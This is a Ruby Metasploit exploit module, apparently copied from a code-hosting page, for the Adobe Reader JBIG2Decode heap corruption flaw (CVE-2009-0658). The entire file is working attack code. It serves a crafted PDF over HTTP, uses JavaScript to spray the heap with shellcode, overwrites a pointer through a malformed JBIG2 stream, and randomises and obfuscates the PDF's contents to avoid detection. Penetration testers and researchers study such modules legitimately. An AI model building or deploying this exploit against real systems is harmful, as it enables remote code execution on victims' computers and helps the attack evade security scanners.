235 lines
8.1 KiB
Ruby
235 lines
8.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe JBIG2Decode Heap Corruption',
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'Description' => %q{
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This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
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This module relies upon javascript for the heap spray.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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# Metasploit implementation
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'natron',
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# bl4cksecurity blog explanation of vuln [see References]
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'xort', 'redsand',
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# obfuscation techniques and pdf template from util_printf
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'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
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],
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'References' =>
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[
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[ 'CVE' , '2009-0658' ],
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[ 'OSVDB', '52073' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => ""
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
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[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
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],
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'DisclosureDate' => 'Feb 19 2009',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
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nops = Rex::Text.to_unescape(make_nops(4))
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# Randomize some variables
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rand1 = rand_text_alpha(rand(50) + 1)
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rand2 = rand_text_alpha(rand(50) + 1)
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rand3 = rand_text_alpha(rand(50) + 1)
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rand4 = rand_text_alpha(rand(50) + 1)
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rand5 = rand_text_alpha(rand(50) + 1)
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rand6 = rand_text_alpha(rand(50) + 1)
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rand7 = rand_text_alpha(rand(50) + 1)
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rand8 = rand_text_alpha(rand(50) + 1)
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rand9 = rand_text_alpha(rand(50) + 1)
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rand10 = rand_text_alpha(rand(50) + 1)
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rand11 = rand_text_alpha(rand(50) + 1)
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rand12 = rand_text_alpha(rand(50) + 1)
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rand13 = rand_text_alpha(rand(50) + 1)
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rand14 = rand_text_alpha(rand(50) + 1)
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rand15 = rand_text_alpha(rand(50) + 1)
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rand16 = rand_text_alpha(rand(50) + 1)
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randnop = rand_text_alpha(rand(100) + 1)
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script = %Q|
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var #{rand1} = "";
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var #{rand2} = "";
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var #{rand3} = unescape("#{shellcode}");
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var #{rand4} = "";
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var #{randnop} = "#{nops}";
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for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});
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#{rand6} = #{rand4} + #{rand3};
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#{rand7} = unescape(#{randnop});
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#{rand8} = 20;
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#{rand9} = #{rand8}+#{rand6}.length
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while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
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#{rand10} = #{rand7}.substring(0, #{rand9});
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#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
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while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
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#{rand12} = new Array();
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for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
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for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
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#{rand13} = #{rand2}.length + 20
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while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
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#{rand14} = #{rand2}.substring(0, #{rand13});
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#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
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while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
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#{rand16} = new Array();
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for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
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eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
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eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
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modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
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# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
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# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
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# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
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jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
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# Create the pdf
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pdf = make_pdf(script, jbig2stream)
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print_status("Sending #{self.name}")
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send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' }) #
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handler(cli)
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end
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def random_non_ascii_string(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def io_def(id)
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"%d 0 obj" % id
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end
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def io_ref(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def n_obfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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# Randomize the spaces and newlines
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elsif c == " "
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result << " " * (rand(3) + 1)
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if rand(2) == 0
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result << "\x0d\x0a"
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result << " " * rand(2)
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end
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else
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result << c
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end
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end
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result
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end
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def ascii_hex_whitespace_encode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf(js, jbig2)
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xref = []
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eol = "\x0d\x0a"
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endobj = "endobj" << eol
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pdf = "%PDF-1.5" << eol
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pdf << "%" << random_non_ascii_string(4) << eol
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xref << pdf.length
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pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj
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xref << pdf.length
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pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj
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xref << pdf.length
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pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj
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xref << pdf.length
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pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
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xref << pdf.length
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pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level
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pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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xref << pdf.length
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pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
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pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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end
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end
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